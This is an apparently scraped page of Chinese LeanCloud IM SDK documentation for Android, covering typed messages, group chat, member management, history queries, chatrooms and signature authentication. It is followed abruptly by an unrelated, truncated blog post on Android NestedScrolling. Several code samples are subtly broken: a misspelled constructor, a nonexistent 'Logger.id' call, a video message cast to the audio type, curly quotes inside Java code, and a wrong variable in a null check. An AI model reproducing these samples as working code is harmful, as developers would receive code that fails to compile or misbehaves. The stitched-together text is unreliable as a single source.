  	-4



	位置消息
  	-5



	文件消息
  	-6





文本消息（AVIMTextMessage）


AVIMTypedMessage 子类，表示一般的文本消息，其声明为


public class AVIMTextMessage extends AVIMTypedMessage {
  public String getText();
  public void setText(String text);

  public Map<String, Object> getAttrs();
  public void setAttrs(Map<String, Object> attr);
}



可以看到，对于文本消息，主要的属性有 text 和 attrs 两个，通过简单的 getter/setter 就可以访问到。要发送文本消息，示例代码为：


AVIMTextMessage message = new AVIMTextMessage();
message.setText("hello");
conversation.sendMessage(message, new AVIMConversationCallback() {
  @Override
  public void done(AVException e) {
    if (null != e) {
      // 出错了。。。
      e.printStackTrace();
    } else {
      Logger.d("message sent.");
    }
  }
});



文件消息（AVIMFileMessage）


AVIMTypedMessage 子类，用来发送带附件的消息，开发者可以用它来发送「离线文件」。对于此类消息，LeanCloud IM SDK 内部会先把文件上传到 LeanCloud 文件存储服务器（自带 CDN 功能），然后把文件元数据（url，文件大小等等）放在消息包内发送到 LeanCloud 实时通信服务端。其构造函数声明为：


// 传入本地文件路径，构造消息对象
public AVIMFileessage(String localPath) throws FileNotFoundException, IOException;

// 传入本地文件，构造消息对象
public AVIMFileMessage(File localFile) throws FileNotFoundException, IOException;

// 传入 AVFile 实例，构造消息对象
public AVIMFileMessage(AVFile file);



与文本消息类似，文件消息也支持附带文本和其他自定义属性，可以通过如下方法添加 / 获取更多信息：



	String getText() / void setText(String text)

	Map<String, Object> getAttrs() / void setAttrs(Map<String, Object> attr);



发送文件消息的示例代码为：


String localZipfilePath;
try {
  AVIMFileMessage message = new AVIMFileMessage(localZipfilePath);
  message.setText("这是你要的文档");
  conversation.sendMessage(message, new AVIMConversationCallback() {
    @Override
    public void done(AVException e) {
      if (null != e) {
        // 出错了。。。
        e.printStackTrace();
      } else {
        Logger.d("message sent");
      }
    }
  });
} catch (Exception ex) {
}



接收到这样消息之后，开发者可以通过以下方法，获取到文件元数据（size 等）和一个包含二进制数据的 AVFile 对象：



	
AVFile getAVFile() 方法会返回一个二进制文件的 AVFile 实例，之后可以通过 AVFile 来完成数据下载或者其他操作，具体可以参见 AVFile 说明


	
String getFileUrl() 方法会返回二进制文件的 url

	
long getSize() 方法会返回二进制文件的实际大小（单位：byte）

	
Map<String, Object> getFileMetaData() 可以获取二进制文件的其他元数据信息。

	
String getText() 方法会返回随文件一起发送的文本信息。



图像消息（AVIMImageMessage）


AVIMFileMessage 子类，专门用来发送图像和附带文本的混合消息，其构造函数声明为：


// 传入本地文件路径，构造消息对象
public AVIMImageMessage(String localPath) throws FileNotFoundException, IOException;

// 传入本地文件，构造消息对象
public AVIMImageMessage(File localFile) throws FileNotFoundException, IOException;

// 传入 AVFile 实例，构造消息对象
public AVIMImageMessage(AVFile file);



发送图像消息的示例代码为：


String localImagePath;
try {
  AVIMImageMessage message = new AVIMImageMessage(localImagePath);
  message.setText("你说我好看不？");
  conversation.sendMessage(message, new AVIMConversationCallback() {
    @Override
    public void done(AVException e) {
      if (null != e) {
        // 出错了。。。
        e.printStackTrace();
      } else {
        Logger.d("message sent");
      }
    }
  });
} catch (Exception ex) {
}



接收到这样消息之后，开发者可以通过如下方法，获取到若干图像元数据（width，height，图像 size）和一个包含图像数据的 AVFile 对象：



	
int getWidth() 方法会返回图像的宽度（单位：pixel）

	
int getHeight() 方法会返回图像的高度（单位：pixel）

	
AVFile getAVFile() （继承自 AVIMFileMessage）方法会返回一个图像文件的 AVFile 实例

	
String getFileUrl() （继承自 AVIMFileMessage）方法会返回图像文件的 url

	
long getSize() （继承自 AVIMFileMessage）方法会返回图像文件的实际大小（单位：byte）

	
String getText() （继承自 AVIMFileMessage）方法会返回随图像一起发送的文本信息。

	
Map<String, Object> getFileMetaData() （继承自 AVIMFileMessage）可以获取图像的其他元数据信息。



音频消息（AVIMAudioMessage）


AVIMFileMessage 子类，专门用来发送语音和附带文本的混合消息，其构造函数声明为：


// 传入本地文件路径，构造消息对象
public AVIMAudioMessage(String localPath) throws FileNotFoundException, IOException;

// 传入本地文件，构造消息对象
public AVIMAudioMessage(File localFile) throws FileNotFoundException, IOException;

// 传入 AVFile 实例，构造消息对象
public AVIMAudioMessage(AVFile file);



发送音频消息的示例代码为：


String localAudioPath;
try {
  AVIMAudioMessage message = new AVIMAudioMessage(localAudioPath);
  message.setText("听听我唱的小苹果：）");
  conversation.sendMessage(message, new AVIMConversationCallback() {
    @Override
    public void done(AVException e) {
      if (null != e) {
        // 出错了。。。
        e.printStackTrace();
      } else {
        Logger.d("message sent");
      }
    }
  });
} catch (Exception ex) {
}



接收到这样消息之后，开发者可以通过如下方法，获取到若干音频元数据（时长 duration、音频 size）和一个包含音频数据的 AVFile 对象：



	
double getDuration() 方法会返回音频的长度（单位：秒）

	
AVFile getAVFile() （继承自 AVIMFileMessage）方法会返回一个音频文件的 AVFile 实例

	
String getFileUrl() （继承自 AVIMFileMessage）方法会返回音频文件的 url

	
long getSize() （继承自 AVIMFileMessage）方法会返回音频文件的实际大小（单位：byte）

	
String getText() （继承自 AVIMFileMessage）方法会返回随音频一起发送的文本信息。

	
Map<String, Object> getFileMetaData() （继承自 AVIMFileMessage）可以获取音频的其他元数据信息。



视频消息（AVIMVideoMessage）


AVIMFileMessage 子类，专门用来发送视频和附带文本的混合消息，其构造函数声明为：


// 传入本地文件路径，构造消息对象
public AVIMVideoMessage(String localPath) throws FileNotFoundException, IOException;

// 传入本地文件，构造消息对象
public AVIMVideoMessage(File localFile) throws FileNotFoundException, IOException;

// 传入 AVFile 文件，构造消息对象
public AVIMVideoMessage(AVFile file);



发送视频消息的示例代码为：


String localVideoPath;
try {
  AVIMVideoMessage message = new AVIMVideoMessage(localVideoPath);
  message.setText("敢不敢跟我比一比");
  conversation.sendMessage(message, new AVIMConversationCallback() {
    @Override
    public void done(AVException e) {
      if (null != e) {
        // 出错了。。。
        e.printStackTrace();
      } else {
        Logger.d("message sent");
      }
    }
  });
} catch (Exception ex) {
}



接收到这样消息之后，开发者可以可以通过如下方法，获取到若干视频元数据（时长 duration、视频 size）和一个包含视频数据的 AVFile 对象:



	
double getDuration() 方法会返回视频的长度（单位：秒）

	
AVFile getAVFile() （继承自 AVIMFileMessage）方法会返回一个视频文件的 AVFile 实例

	
String getFileUrl() （继承自 AVIMFileMessage）方法会返回视频文件的 url

	
long getSize() （继承自 AVIMFileMessage）方法会返回视频文件的实际大小（单位：byte）

	
String getText() （继承自 AVIMFileMessage）方法会返回随视频一起发送的文本信息。

	
Map<String, Object> getFileMetaData() （继承自 AVIMFileMessage）可以获取视频的其他元数据信息。



地理位置消息（AVIMLocationMessage）


AVIMTypedMessage 子类，支持发送地理位置信息和附带文本的混合消息，其声明为：


public class AVIMLocationMessage extends AVIMTypedMessage {
  public String getText();
  public void setText(String text);

  public Map<String, Object> getAttrs();
  public void setAttrs(Map<String, Object> attr);

  public AVGeoPoint getLocation();
  public void setLocation(AVGeoPoint location);
}



与文本消息类似，地理位置消息只是增加了一个 AVGeoPoint 的 Location 属性。要发送位置消息的示例代码为：


AVIMLocationMessage message = new AVIMLocationMessage();
message.setText("快点过来！");
message.setLocation(new AVGeoPoint(15.9, 56.4));
conversation.sendMessage(message, new AVIMConversationCallback() {
  @Override
  public void done(AVException e) {
    if (null != e) {
      // 出错了。。。
      e.printStackTrace();
    } else {
      Logger.d("message sent");
    }
  }
});



接收到这样的消息之后，开发者可以获取到具体的地理位置数据。


如何接收富媒体消息


新版 LeanCloud IM SDK 内部封装了对富媒体消息的支持，所有富媒体消息都是从 AVIMTypedMessage 派生出来的。发送的时候可以直接调用 conversation.sendMessage() 函数。在接收端，我们也专门增加了一类回调接口 AVIMTypedMessageHandler，其定义为：


public class AVIMTypedMessageHandler<T extends AVIMTypedMessage> extends MessageHandler<T> {

  @Override
  public void onMessage(T message, AVIMConversation conversation, AVIMClient client);

  @Override
  public void onMessageReceipt(T message, AVIMConversation conversation, AVIMClient client);
}



开发者可以编写自己的消息处理 handler，然后调用 AVIMMessageManager.registerMessageHandler(Class<? extends AVIMMessage> clazz, MessageHandler<?> handler) 函数来注册目标 handler。


接收端对于富媒体消息的通知处理的示例代码如下：


class MsgHandler extends AVIMTypedMessageHandler<AVIMTypedMessage> {

  @Override
  public void onMessage(AVIMTypedMessage message, AVIMConversation conversation, AVIMClient client) {
    // 请按自己需求改写
    switch(message.getMessageType()) {
    case AVIMReservedMessageType.TextMessageType:
      AVIMTextMessage textMsg = (AVIMTextMessage)message;
      Logger.d("收到文本消息:" + textMsg.getText() + ", msgId:" + textMsg.getMessageId());
      break;

    case AVIMReservedMessageType.FileMessageType:
      AVIMFileMessage fileMsg = (AVIMFileMessage)message;
      Logger.id("收到文件消息。msgId=" + fileMsg.getMessageId() + ", url=" + fileMsg.getFileUrl() + ", size=" + fileMsg.getSize());
      break;

    case AVIMReservedMessageType.ImageMessageType:
      AVIMImageMessage imageMsg = (AVIMImageMessage)message;
      Logger.id("收到图片消息。msgId=" + imageMsg.getMessageId() + ", url=" + imageMsg.getFileUrl() + ", width=" + imageMsg.getWidth() + ", height=" + imageMsg.getHeight());
      break;

    case AVIMReservedMessageType.AudioMessageType:
      AVIMAudioMessage audioMsg = (AVIMAudioMessage)message;
      Logger.id("收到音频消息。msgId=" + audioMsg.getMessageId() + ", url=" + audioMsg.getFileUrl() + ", duration=" + audioMsg.getDuration());
      break;

    case AVIMReservedMessageType.VideoMessageType:
      AVIMVideoMessage videoMsg = (AVIMAudioMessage)message;
      Logger.id("收到视频消息。msgId=" + videoMsg.getMessageId() + ", url=" + videoMsg.getFileUrl() + ", duration=" + videoMsg.getDuration());
      break;

    case AVIMReservedMessageType.LocationMessageType:
      AVIMLocationMessage locMsg = (AVIMLocationMessage)message;
      Logger.id("收到位置消息。msgId=" + locMsg.getMessageId() + ", latitude=" + locMsg.getLocation().getLatitude() + ", longitude=" + locMsg.getLocation().getLongitude());
      break;
    }
  }

  @Override
  public void onMessageReceipt(AVIMTypedMessage message, AVIMConversation conversation, AVIMClient client) {
    // 请加入你自己需要的逻辑...
  }
}

MsgHandler msgHandler = new MsgHandler();
AVIMMessageManager.registerMessageHandler(AVIMTypedMessage.class, msgHandler);



LeanCloud IM SDK 内部消息分发的逻辑是这样的：



	对于收到的任一新消息，SDK 内部都会先解析消息的类型，根据类型找到开发者为这一类型注册的处理 handler，然后逐一调用这些 handler 的 onMessage 函数。

	如果没有找到专门处理这一类型消息的 handler，就会转交给 defaultHandler 处理。



这样一来，在开发者为 TypedMessage（及其子类） 指定了专门的 handler，也指定了全局的 defaultHandler 了的时候，如果发送端发送的是通用的 AVIMMessage 消息，那么接受端就是 AVIMMessageManager.registerDefaultMessageHandler()中指定的 handler 被调用；如果发送的是 AVIMTypedMessage（及其子类）的消息，那么接受端就是 AVIMMessageManager.registerMessageHandler()中指定的 handler 被调用。


如何扩展自己的富媒体消息


继承于 AVIMTypedMessage，开发者也可以扩展自己的富媒体消息。其要求和步骤是：



	实现新的消息类型，继承自 AVIMTypedMessage。这里需要注意两点：


	在 class 上增加一个 @AVIMMessageType(type=123) 的 Annotation，具体消息类型的值（这里是 123）由开发者自己决定（LeanCloud 内建的消息类型使用负数，所有正数都预留给开发者扩展使用）。

	在消息内部属性上要增加 @AVIMMessageField(name="") 的 Annotation，name 为可选字段在声明字段属性，同时自定义的字段要有对应的 getter/setter 方法。





	调用 AVIMMessageManager.registerAVIMMessageType(Class<? extends AVIMTypedMessage> messageType) 函数进行类型注册

	调用 AVIMMessageManager.registerMessageHandler(Class<? extends AVIMMessage> clazz, MessageHandler<?> handler) 函数进行消息处理 handler 注册。



AVIMTextMessage 的源码如下，可供参考：


@AVIMMessageType(type = -1)
public class AVIMTextMessage extends AVIMTypedMessage {

  @AVIMMessageField(name = "_lctext")
  String text;
  @AVIMMessageField(name = "_lcattrs")
  Map<String, Object> attrs;

  public String getText() {
    return this.text;
  }

  public void setText(String text) {
    this.text = text;
  }

  public Map<String, Object> getAttrs() {
    return this.attrs;
  }

  public void setAttrs(Map<String, Object> attr) {
    this.attrs = attr;
  }
}



群组聊天


与前面的单聊类似，群组聊天也需要先建立一个对话（AVIMConversation），然后发送、接收新的消息。


创建群组


和单聊类似，建立一个多人聊天的群组也是很简单的。例如：


Map<String, Object> attr = new HashMap<String, Object>();
attr.put("type", ConversationType_Group);
imClient.createConversation(clientIds, attr, new AVIMConversationCreatedCallback() {
  @Override
  public void done(AVIMConversation conversation, AVException e) {
    if (null != conversation) {
      // 成功了！
      Intent intent = new Intent(currentActivity, ChatActivity.class);
      Intent.putExtra(“conversation”, conversation);
      currentActivity.startActivity(intent);
    }
  }
});



成功之后，我们就可以进入聊天界面了。


加入群组


如果是其他人，需要主动加入到并非自己创建的群组里面，该怎么做到呢？


AVIMConversation 有一个 join 方法，可以用来主动加入一个群组，其声明为：


void join(AVIMConversationCallback callback)



这里参数的含义如下：



	callback - 结果回调接口，在服务端操作结束之后调用，通知开发者成功与否



假定用户 Jade 希望加入上面的群组，其示例代码为：


// 之前是 Jade 登录的代码

conversation.join(new AVIMConversationCallback(){
  @Override
  public void done(AVException e) {
    if (null != e) {
      // 出错了:(
    } else {
      // 成功，此时可以进入聊天界面了。。。
      Intent intent = new Intent(currentActivity, ChatActivity.class);
      Intent.putExtra(“conversation”, conversation);
      currentActivity.startActivity(intent);
    }
  }
});



往群组发送消息


发送消息非常简单，与前面单聊的场景一样。


我们会注意到，AVIMConversation 还有一个发送消息的方法：


public void sendMessage(final AVIMMessage message, final int messageFlag,
      final AVIMConversationCallback callback)



而这里 flag 的定义有如下三种类型：



	暂态消息（AVIMConversation.TRANSIENT_MESSAGE_FLAG）。这种消息不会被自动保存（以后在历史消息中无法找到它），也不支持延迟接收，离线用户更不会收到推送通知，所以适合用来做控制协议。譬如聊天过程中「某某正在输入中...」这样的状态信息，就适合通过暂态消息来发送。

	普通消息（AVIMConversation.NONTRANSIENT_MESSAGE_FLAG）。这种消息就是我们最常用的消息类型，在 LeanCloud 云端会自动保存起来，支持延迟接收和离线推送，以后在历史消息中可以找到它。

	待回执消息（AVIMConversation.RECEIPT_MESSAGE_FLAG）。这也是一种普通消息，只是消息被对方收到之后 LeanCloud 服务端会发送一个回执通知给发送方（这就是 AVIMMessageHandler 中 public void onMessageReceipt(AVIMMessage message, AVIMConversation conversation, AVIMClient client) 函数被调用的时机）。



接收群组消息


接收一个群组的消息，与接收单聊的消息也是一样的。


成员管理


在查询到聊天室成员之后，可以让用户邀请一些自己的朋友加入，作为管理员也可以剔除一些「可怕」的成员。

加入新成员的 API 如下：


void addMembers(final List<String> friendsList, final AVIMConversationCallback callback)



这里各参数的含义如下：



	friendsList - 邀请加入的新成员 clientId 数组

	callback - 结果回调接口，在服务端操作结束之后调用，通知开发者成功与否



我们试着在刚才的对话中邀请几个人：


// 假设需要邀请 Alex，Ben，Chad 三人加入对话
List<String> userIds = new ArrayList<String>();
userIds.add("Alex");
userIds.add("Ben");
userIds.add("Chad");
conversation.addMembers(userIds, new AVIMConversationCallback() {
  @Override
  public void done(AVException error) {
    if (null != error) {
      // 加入失败，报错.
      error.printStackTrace();
    } else {
      // 发出邀请，此后新成员就可以看到这个对话中的所有消息了。
      Logger.d("invited.");
    }
  }
});



邀请成功以后，相关方收到通知的时序是这样的：


    操作者（管理员）                    被邀请者                        其他人
1, 发出请求 addMembers
2,                               收到 onInvited 通知
3, 收到 onMemberJoined 通知      收到 onMemberJoined 通知      收到 onMemberJoined 通知



与加人类似，踢人的 API 声明如下：


void kickMembers(final List<String> friendsList, final AVIMConversationCallback callback)



参数含义同上。我们试着把 Alex 踢出去：


List<String> userIds = new ArrayList<String>();
userIds.add("Alex");
conversation.kickMembers(userIds, new AVIMConversationCallback() {
  @Override
  public void done(AVException error) {
    if (null != error) {
      // 失败，报错.
      error.printStackTrace();
    } else {
      // 成功。
      Logger.d("kicked.");
    }
  }
});



踢人时，相关方收到通知的时序如下：


    操作者（管理员）                被踢者                       其他人
1, 发出请求 kickMembers
2,                          收到 onKicked 通知
3, 收到 onMemberLeft 通知                             收到 onMemberLeft 通知




  注意！

  
  如果邀请、踢人操作发生的时候，被邀请者/被踢者当前不在线，那么通知消息并不会被离线缓存，所以他们再上线的时候将不会收到通知。




退出群组


任何成员，都可以主动退出一个群组。AVIMConversation 有一个 quit 方法，其声明为：


void quit(AVIMConversationCallback callback)



这里参数的含义如下：



	callback - 结果回调接口，在服务端操作结束之后调用，通知开发者成功与否



退出群组之后，该群组内发生的任何事件或者消息，都不会再发到当前用户，当前用户也不能往群组内发送任何消息。


假设用户 Jade 又想退出上面的群组了，其示例代码为：


// 之前是 Jade 登录的代码

conversation.quit(new AVIMConversationCallback(){
  @Override
  public void done(AVException e) {
    if (null != e) {
      // 出错了:(
    } else {
      // 成功，这下清静了。。。
      currentActivity.finish();
    }
  }
});



获取历史消息


LeanMessage 会将非暂态消息自动保存在云端，之后开发者可以通过 AVIMConversation 来获取该对话的所有历史消息。获取历史消息的 API 如下：


// 查询当前对话的最新消息，默认返回 100 条
void queryMessages(final AVIMHistoryMessageCallback callback);

// 查询当前对话的最新消息，返回 limit 指定的条数
void queryMessages(int limit, final AVIMHistoryMessageCallback callback);

// 前向查询当前对话的历史消息，msgId／timestamp 指定消息的起点，limit 指定需要的结果条数
void queryMessages(String msgId, long timestamp, int limit, final AVIMHistoryMessageCallback callback);



各参数含义如下：



	msgId - 本地已有的最旧一条消息的 messageId

	timestamp － 本地已有的最旧一条消息的 timestamp

	limit － 本次查询希望的结果条数

	AVIMHistoryMessageCallback － 结果回调接口，在操作结束之后调用



通过这一 API 拿到的消息就是 AVIMMessage 或者 AVIMTypedMessage 实例数组，开发者可以像之前收到新消息通知一样处理。示例代码如下：


String oldestMsgId;
long oldestMsgTimestamp;
conversation.queryMessages(oldestMsgId,oldestMsgTimestamp, limit, new AVIMHistoryMessageCallback(){
  @Override
  public void done(List<AVIMMessage> messages, AVException e) {
    if (null != e) {
      // 出错了:(
    } else {
      // 成功，可以将消息加入缓存，同时更新 UI
    }
  }
});




  注意：

  
  翻页加载获取历史消息的时候，LeanCloud 云端是从某条消息开始，往前查找开发者指定的 N 条消息，返回给客户端。为此，获取历史消息需要传入三个参数：起始消息的 msgId，起始消息的发送时间戳，需要获取的消息条数。




启用离线消息推送（仅对 iOS 平台用户有效）


不管是单聊还是群聊，当用户 A 发出消息后，如果目标对话中有部分用户当前不在线，LeanCloud 云端可以提供离线推送的方式来提醒用户。这一功能默认是关闭的，你可以在 LeanCloud 应用控制台中开启它。开启方法如下：



	登录 LeanCloud 应用控制台，选择正确的应用进入；

	选择最顶端的「消息」服务，依次点击左侧菜单「实时消息」->「设置」；

	在右侧「iOS 用户离线时的推送内容」下填好你要推送出去的消息内容，保存；



这样 iOS 平台上的用户就可以收到 Push Notification 了（当然，前提是应用本身申请到了 RemoteNotification 权限，也将正确的推送证书上传到了 LeanCloud 控制台）。


群组消息免打扰（仅对 iOS 平台用户有效）


不管是单聊还是群聊，对于发往普通的 Conversation 的普通消息，如果接收方当前不在线，LeanCloud 云端支持通过 Push Notification 的方式进行提醒。一般情况下这都是很好的，但是如果某个群组特别活跃，那离线用户就会收到过多的推送，会形成不小的干扰。


对此 LeanCloud IM 服务也允许单个用户来关闭/打开某个对话的离线推送功能。


搜索群组


不管是单聊，还是群聊，在 LeanCloud IM SDK 里面都是对话（Conversation）。我们给对话设置了如下几种属性：



	conversationId，字符串，对话 id，只读，对话创建之后由 LeanCloud 云端赋予一个全局唯一的 id。

	creator，字符串，对话创建者 id，只读，标识对话创建者信息

	members，数组，对话参与者，这里记录了所有的参与者

	name，字符串，对话的名字，optional，可用来对于群组命名

	attributes，Map/Dict，自定义属性，optional，供开发者自己扩展用。



我们提供了专门的类，来搜索特定的群组：通过 imClient.getQuery() 得到一个 AVIMConversationQuery 实例，然后调用 AVIMConversationQuery.whereXXX 系列方法来增加约束条件。


AVIMConversationQuery 的使用方法与 AVQuery 一样，例如要搜索当前登录用户参与的所有群聊对话，其代码为


// 搜索 Tom 参与的所有群组对话
List<String> clients = new ArrayList<String>();
clients.add("Tom");
AVIMConversationQuery conversationQuery = imClient.getQuery();
conversationQuery.containsMember(clients);

// 之前有常量定义：
// const int ConversationType_OneOne = 0;
// const int ConversationType_Group = 1;
conversationQuery.whereEqualTo("attr.type", ConversationType_Group);

conversationQuery.findInBackground(new AVIMConversationQueryCallback(){
  @Override
  public void done(List<AVIMConversation> conversations, AVException e) {
    if (null != e) {
      // 出错了。。。
      e.printStackTrace();
    } else {
      if (null != conversation) {
        Logger.d("找到了符合条件的 " + conversations.size() + " 个对话");
      } else {
        Logger.d("没有找到符合条件的对话");
      }
    }
  }
});



注意：


这里 conversationQuery.containsMember() 表示对话的成员中至少包含这些人员，可用来根据部分成员查找对话；

与此类似的还有一个 conversationQuery.withMembers() 则表示有且仅有这些成员，用来根据所有成员查找目标对话；
conversationQuery.whereXXX() 系列方法可用来限定对话名称和自定义属性，这里要强调的一点是，对于自定义属性的约束条件，属性名一定要以 attr 开头，如上例所示，限定额外的 type 条件的时候需要指定的属性名是 attr.type。具体可以参看其头文件。


开放聊天室


开放聊天室（也叫「暂态」对话）可以用于很多地方，譬如弹幕、直播等等。在 LeanCloud IM SDK 中，开放聊天室是一类特殊的群组，它也支持创建、加入/踢出成员等操作，消息记录会被保存并可供获取；与普通群组不一样的地方具体体现为：



	不支持查询成员列表，你可以通过相关 API 查询在线人数；

	不支持离线消息、离线推送通知等功能；

	没有成员加入、离开的通知；

	一个用户一次登录只能加入一个开放聊天室，加入新的开放聊天室后会自动离开原来的聊天室；

	加入后半小时内断网重连会自动加入原聊天室，超过这个时间则需要重新加入；



创建开放聊天室


和普通的群组类似，建立一个开放聊天室也是很简单的，只是在 AVIMClient.createConversation(conversationMembers, name, attributes, isTransient, callback) 中我们需要传入 isTransient=true 选项。例如：


Map<String, Object> attr = new HashMap<String, Object>();
attr.put("type", ConversationType_Group);
imClient.createConversation(clientIds, name, attr, true, new AVIMConversationCreatedCallback() {
  @Override
  public void done(AVIMConversation conversation, AVException e) {
    if (null != conversation) {
      // 成功了，进入聊天室
      Intent intent = new Intent(currentActivity, ChatActivity.class);
      Intent.putExtra(“conversation”, conversation);
      currentActivity.startActivity(intent);
    }
  }
});



创建成功之后，我们就可以进入聊天界面了。开放聊天室的其他操作，都与普通群组操作一样。


加入开放聊天室


只要应用层不做限制，任何终端用户都可以加入开放聊天室，这部分逻辑与之前的加入群组一样。

同样的，离开任何「对话」（不论普通还是「暂态」），调用 AVIMConversation.quit(callback) 函数即可，这里不再赘述。


查询在线人数


对于开放聊天室来说，与普通群组有很大一点不同，就是没有了参与用户列表，取而代之的是可以查询实时在线人数。AVIMConversation.getMemberCount() 函数可以完成这一功能，其声明如下：


void getMemberCount(AVIMConversationMemberCountCallback callback)



参数含义说明如下：



	callback 是结果回调接口，在收到服务端返回结果之后被调用，开发者可以得到实际的人数或者出错信息。



这部分的示例代码如下：


conversation.getMemberCount(new AVIMConversationMemberCountCallback(){
  @Override
  public void done(Integer memberCount, AVException e) {
    if (null != e) {
      // 出错了:(
    } else {
      // 成功，此时 memberCount 的数值就是实时在线人数
    }
  }
});



签名和安全


为了满足开发者对权限和认证的要求，LeanCloud 还设计了操作签名的机制。我们可以在 LeanCloud 应用控制台中的「设置」->「应用选项」->「聊天推送」下面勾选「聊天服务签名认证」来启用签名（强烈推荐这样做）。启用后，所有的用户登录、对话创建/加入、邀请成员、踢出成员等操作都需要验证签名，这样开发者就可以对消息进行充分的控制。


客户端这边究竟该如何使用呢？我们只需要实现 SignatureFactory 接口，然后在用户登录之前，把这个接口的实例赋值给 AVIMClient 即可（AVIMClient.setSignatureFactory(factory)）。


设定了 signatureFactory 之后，对于需要鉴权的操作，LeanCloud IM SDK 与服务器端通讯的时候都会带上应用自己生成的 Signature 信息，LeanCloud 云端会使用 app 的 masterKey 来验证信息的有效性，保证聊天渠道的安全。


对于 SignatureFactory 接口，我们只需要实现这两个函数即可：


  /**
   * 实现一个基础签名方法 其中的签名算法会在SessionManager和AVIMClient(V2)中被使用
   */
  public Signature createSignature(String peerId, List<String> watchIds) throws SignatureException;

  /**
   * 实现AVIMConversation相关的签名计算
   */
  public Signature createConversationSignature(String conversationId, String clientId,
      List<String> targetIds, String action) throws SignatureException;



createSignature 函数会在用户登录的时候被调用，createConversationSignature 会在对话创建/加入、邀请成员、踢出成员等操作时被调用。


你需要做的就是按照前文所述的签名算法实现签名，其中 Signature 声明如下：


public class Signature {
  public List<String> getSignedPeerIds();
  public void setSignedPeerIds(List<String> signedPeerIds);

  public String getSignature();
  public void setSignature(String signature);

  public long getTimestamp();
  public void setTimestamp(long timestamp);

  public String getNonce();
  public void setNonce(String nonce);
}



其中四个属性分别是:



	signature 签名

	timestamp 时间戳，单位秒

	nonce 随机字符串 nonce

	signedPeerIds 放行的 clientId 列表，v2 中已经废弃不用




下面的代码展示了基于 LeanCloud 云代码进行签名时，客户端的实现片段，你可以参考它来完成自己的逻辑实现：


public class KeepAliveSignatureFactory implements SignatureFactory {
 @Override
 public Signature createSignature(String peerId, List<String> watchIds) {
   Map<String,Object> params = new HashMap<String,Object>();
   params.put("self_id",peerId);
   params.put("watch_ids",watchIds);

   try{
     Object result =  AVCloud.callFunction("sign",params);
     if(result instanceof Map){
       Map<String,Object> serverSignature = (Map<String,Object>) result;
       Signature signature = new Signature();
       signature.setSignature((String)serverSignature.get("signature"));
       signature.setTimestamp((Long)serverSignature.get("timestamp"));
       signature.setNonce((String)serverSignature.get("nonce"));
       return signature;
     }
   }catch(AVException e){
     throw (SignatureFactory.SignatureException) e;
   }
   return null;
 }

  @Override
  public Signature createConversationSignature(String convId, String peerId, List<String> targetPeerIds,String action){
   Map<String,Object> params = new HashMap<String,Object>();
   params.put("self_id",peerId);
   params.put("group_id",convId);
   params.put("group_peer_ids",targetPeerIds);
   params.put("action",action);

   try{
     Object result = AVCloud.callFunction("group_sign",params);
     if(result instanceof Map){
        Map<String,Object> serverSignature = (Map<String,Object>) result;
        Signature signature = new Signature();
        signature.setSignature((String)serverSignature.get("signature"));
        signature.setTimestamp((Long)serverSignature.get("timestamp"));
        signature.setNonce((String)serverSignature.get("nonce"));
        return signature;
     }
   }catch(AVException e){
     throw (SignatureFactory.SignatureException) e;
   }
   return null;
  }
}



LeanCloud IM SDK 专注做好底层的通讯服务，有更多可以定制化的地方，譬如说：



	账户系统和 IM 系统是分离的；

	消息变成离线推送的时候，推送内容开发者是可以定制的；

	通过 web hook，开发者可以对消息进行更多处理；

	聊天过程中通过消息鉴权机制，开发者可以有更多控制；



因为缺少 UI 组件，实事求是地讲在新用户接入成本可能稍高，但是在业务规模扩大、产品需求变多之后，相信大家会越来越喜欢 LeanCloud 这种自由灵活的使用体验，以及稳定迅捷的服务质量。


 Android 嵌套滑动机制（NestedScrolling）

作者：Gemini

来源： Android 嵌套滑动机制（NestedScrolling）



                    

  Android 在发布 Lollipop版本之后，为了更好的用户体验，Google为Android的滑动机制提供了NestedScrolling特性




NestedScrolling的特性可以体现在哪里呢？

比如你使用了Toolbar，下面一个ScrollView，向上滚动隐藏Toolbar，向下滚动显示Toolbar，这里在逻辑上就是一个NestedScrolling —— 因为你在滚动整个Toolbar在内的View的过程中，又嵌套滚动了里面的ScrollView。





效果如上图【别嫌弃我】


在这之前，我们知道Android对Touch事件的分发是有自己一套机制的。主要是有是三个函数：
dispatchTouchEvent、onInterceptTouchEvent和onTouchEvent。


这种分发机制有一个漏洞：



  如果子view获得处理touch事件机会的时候，父view就再也没有机会去处理这个touch事件了，直到下一次手指再按下。




也就是说，我们在滑动子View的时候，如果子View对这个滑动事件不想要处理的时候，只能抛弃这个touch事件，而不会把这些传给父view去处理。


但是Google新的NestedScrolling机制就很好的解决了这个问题。

我们看看如何实现这个NestedScrolling，首先有几个类（接口）我们需要关注一下



  NestedScrollingChild
NestedScrollingParent
NestedScrollingChildHelper
NestedScrollingParentHelper




以上四个类都在support-v4包中提供，Lollipop的View默认实现了几种方法。

实现接口很简单，这边我暂时用到了NestedScrollingChild系列的方法（因为Parent是support-design提供的CoordinatorLayout）


java    @Override
    public void setNestedScrollingEnabled(boolean enabled) {
        super.setNestedScrollingEnabled(enabled);
        mChildHelper.setNestedScrollingEnabled(enabled);
    }

    @Override
    public boolean isNestedScrollingEnabled() {
        return mChildHelper.isNestedScrollingEnabled();
    }

    @Override
    public boolean startNestedScroll(int axes) {
        return mChildHelper.startNestedScroll(axes);
    }

    @Override
    public void stopNestedScroll() {
        mChildHelper.stopNestedScroll();
    }

    @Override
    public boolean hasNestedScrollingParent() {
        return mChildHelper.hasNestedScrollingParent();
    }

    @Override
    public boolean dispatchNestedScroll(int dxConsumed, int dyConsumed, int dxUnconsumed, int dyUnconsumed, int[] offsetInWindow) {
        return mChildHelper.dispatchNestedScroll(dxConsumed, dyConsumed, dxUnconsumed, dyUnconsumed, offsetInWindow);
    }

    @Override
    public boolean dispatchNestedPreScroll(int dx, int dy, int[] consumed, int[] offsetInWindow) {
        return mChildHelper.dispatchNestedPreScroll(dx, dy, consumed, offsetInWindow);
    }

    @Override
    public boolean dispatchNestedFling(float velocityX, float velocityY, boolean consumed) {
        return mChildHelper.dispatchNestedFling(velocityX, velocityY, consumed);
    }

    @Override
    public boolean dispatchNestedPreFling(float velocityX, float velocityY) {
        return mChildHelper.dispatchNestedPreFling(velocityX, velocityY);
    }



对，简单的话你就这么实现就好了。


这些接口都是我们在需要的时候自己调用的。childHelper干了些什么事呢？，看一下startNestedScroll方法


java    /**
     * Start a new nested scroll for this view.
     *
     * <p>This is a delegate method. Call it from your {@link android.view.View View} subclass
     * method/{@link NestedScrollingChild} interface method with the same signature to implement
     * the standard policy.</p>
     *
